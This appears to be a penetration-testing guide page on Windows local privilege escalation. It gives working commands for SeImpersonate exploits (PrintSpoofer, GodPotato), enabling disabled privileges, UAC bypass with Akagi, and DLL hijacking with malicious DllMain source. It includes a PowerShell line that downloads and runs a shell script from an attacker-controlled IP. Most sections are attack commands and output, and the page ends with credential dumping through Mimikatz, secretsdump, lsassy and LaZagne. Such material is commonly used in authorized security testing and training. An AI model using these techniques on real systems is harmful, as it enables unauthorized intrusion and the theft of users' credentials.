Local Privilege Escalation

Escalate privileges on a local computer to become a more powerful user

After the Local Enumeration phase, you might have found some interesting things. This section explains how you exploit some findings to reach the Administrator on the current (local) computer.

Once this is successful, you should have enough permissions to do anything on the machine. The main goal is often using Post-Exploitation: Mimikatz to read cached credentials from a memory dump of the LSASS.exe process.

Credentials

You can also start a local process as another user from CMD/PowerShell using the runas command. This will start a new window as that user after filling in the correct password:

sudo interactively
runas /user:j0r1an powershell  # local
runas /user:corp\j0r1an powershell  # domain

The above only works in an RDP setting where you interactively type the password. For shells instead, you can use PowerShell to create a new process with your credentials:

sudo using PowerShell
$pass = ConvertTo-SecureString '$PASSWORD' -AsPlainText -Force
# 1. Local account
$c = New-Object System.Management.Automation.PSCredential("$USERNAME", $pass)
# 2. Domain account
$c = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USERNAME", $pass)

Start-Process -Credential ($c) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://$IP:8000/shell.ps1')"  # Run your payload here

Privileges

Windows uses 'privileges' to determine what you can and can't do. There are some uninteresting default privileges, but also some that give a lot of power. Check them with the whoami command:

PS C:\> whoami /priv

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

From these the SeShutdownPrivilege is a little interesting, as it allows you to reboot the machine. Some exploits only trigger at the startup of a service for example, and a reboot can trigger this at will.

Local administrators will have all the permissions that exist, so they can do anything on the computer. Sometimes a middle ground is chosen to give low-privilege users some extra privilege, but this can backfire if they are powerful ones that can be abused.

SeImpersonatePrivilege

This privilege allows you to impersonate other users like nt authority\system. This user can do anything, like dumping LSASS memory with Mimikatz. Exploits exist that abuse this to get a shell:

https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

PS C:\> .\PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> whoami
whoami
nt authority\system

It's possible that this exploit above does not work, but some alternatives might work in these scenarios. First, there is GodPotato which you can download pre-compiled from the Releases, and execute:

.\GodPotato-NET4.exe -cmd ".\shell.exe"

Lastly, there is also SharpEfsPotato which needs to be compiled by hand using Visual Studio:

.\SharpEfsPotato.exe -p C:\Windows\Tasks\shell.exe

Other Se...Privilege

'Disabled' privileges

In rare cases, privileges might be Disabled which doesn't let you abuse them. Luckily for the attacker, this is only a setting that you can easily Enable for any privilege. The EnableAllTokenPrivs.ps1 script can be used to enable all these privileges:

PS C:\> whoami /priv  # Some privileges are disabled

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

PS C:\> IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1');

PS C:\> whoami /priv  # Now everything is enabled

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled

UAC Bypass

Using whoami /groups you can find if your user is in the BUILTIN\Administrators group, and if they are, you should be able to reach the Mandatory Label\High, which might be at Mandatory Label\Medium right now.

PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                            Attributes
====================================== ================ ============================================== ==================================================
Everyone                               Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users           Alias            S-1-5-32-555                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                     Well-known group S-1-5-3                                        Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113                                      Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

An Administrator should be able to start a Mandatory Label\High process, but this usually involves a user pressing "Yes" on a GUI prompt, this is the User Account Control (UAC) at work.

This feature is however bypassable without a GUI using AutoElevate programs. To check if a binary has the AutoElevate property, we can use sigcheck:

C:\> sigcheck -m c:/windows/system32/msconfig.exe
...
<asmv3:application>
	<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
		<dpiAware>true</dpiAware>
		<autoElevate>true</autoElevate>
	</asmv3:windowsSettings>
</asmv3:application>

Many different built-in programs have this property set, but not all are secure. Microsoft seems to not classify UAC bypasses as an issue, so this repository collects dozens of working methods:

To build the tool, open the Source folder in Visual Studio. This should open the "Akagi" project which you can build in Release mode for x64 architecture:

When building is done, you should find the compiled binary in "Source\Akagi\output\x64\Release\Akagi64.exe".

This can now be executed on the target by choosing a technique, and a program to start in a new window with the elevated privileges:

.\Akagi64.exe 61 powershell.exe
New powershell.exe
PS C:\> whoami /groups
...
Mandatory Label\High Mandatory Level   Label            S-1-16-12288

DLL Hijacking

Programs in Windows have assembled code that they execute, but also often load libraries and call their code to prevent having every program include some basic functionality. Which libraries to load can be completely decided by the program, and they can even make their own custom libraries (DLLs). When the program is started, directories are searched for the library names in the following order:

  1. Directory containing the .exe that started

  2. C:\Windows\System32

  3. C:\Windows\System

  4. C:\Windows

  5. Current working directory

  6. Any directories in the system $env:path environment variable

  7. Any directories in the user $env:path environment variable

While 2-5 are often pretty locked, the 6 and 7 variables might contain some interesting directories that you may write in. Check their paths in PowerShell like so:

PS C:\> [Environment]::GetEnvironmentVariable("Path", "User")
C:\Users\$USERNAME\AppData\Local\Microsoft\WindowsApps;
PS C:\> [Environment]::GetEnvironmentVariable("Path", "Machine")
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\

Perhaps the most interesting of all of these is 1, the directory containing the executable. If we as the attacker can write in this directory, and the executable is run in a higher-privileged context, we can overwrite an existing DLL to run whatever we want. Check permissions using icacls or just try writing there with a simple echo a > a.

When having confirmed that a writable searched directory exists, we need to find what DLLs are loaded by the executable. A very unscientific way of doing this is simply searching for .dll names in the program binary after transferring it over to your Linux machine:

$ grep -Eao '\w+\.dll' Program.exe | sort -u
0.dll
MyLibrary.dll
VCRUNTIME140.dll
advapi32.dll
dbghelp.dll
kernel32.dll

Any of these will probably work, but MyLibrary.dll seems custom and most likely, so we'll focus on that. To find out what libraries are actually loaded we can dynamically analyze it by running it locally and attaching Process Monitor, then looking for CreateFile events with .dll extensions:

Now that we have found a potential place and name for a DLL that we can overwrite, we have to create a malicious DLL that runs what we want, like a reverse shell also stored on the system. We just need to define the special DllMain() function and handle the different cases:

MyLibrary.dll
#include <stdlib.h>
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
    HANDLE hModule,           // Handle to DLL module
    DWORD ul_reason_for_call, // Reason for calling function
    LPVOID lpReserved)        // Reserved
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        system("C:\\Windows\\Tasks\\shell.exe");
        break;
    case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
    case DLL_THREAD_DETACH: // A thread exits normally.
        break;
    case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Then we can compile this code locally from a Linux machine by using the mingw compiler, to create a .dll shared library. This can be moved over to the vulnerable location on the target.

x86_64-w64-mingw32-gcc MyLibrary.cpp --shared -o MyLibrary.dll

Post-Exploitation: Mimikatz

When having taken over a computer to full Administrator privileges, and the High Integrity Level, tools like mimikatz.exe can use these privileges to do a lot of nasty stuff. The tool is a big collection of commands that should be run on the target itself as an executable. Its most common use case is extracting in-memory credentials from the computer to use in further attacks, like cracking or passing them.

Some commands require privilege::debug or even token::elevate to be run before, to activate the required privileges. Make sure to try these first when you encounter errors.

The sekurlsa::logonpasswords, lsadump::lsa and lsadump::sam commands go hand-in-hand, finding different plaintext credentials, NTLM hashes, or Kerberos tickets from logged-on users in memory for the first, and by asking the LSA server for the latter. These are incredibly useful for starting Lateral Movement. sekurlsa::tickets is another such tool that finds active Kerberos tickets to export and import.

The sekurlsa::pth command stands for "Pass The Hash", allowing you to spawn a process as another user only knowing their NTLM hash.

Remote alternatives

There are some tools that run the techniques Mimikatz uses from a remote perspective, which may be quicker to use. Here are a few of them:

Remotely dump all kinds of secrets on the target computer, from NTLM hashes to SAM and LSA. While this finds and dumps a lot, it won't find everything (read more in this article).

python3 secretsdump.py $DOMAIN/$USERNAME:$PASSWORD@$IP

Example usage
lsassy -u Administrator -H 2ffb2676507e81cb73211213ed643202 -d hackn.lab 10.10.10.0/30 --users

LaZagne

Example usage
.\LaZagne.exe all

Last updated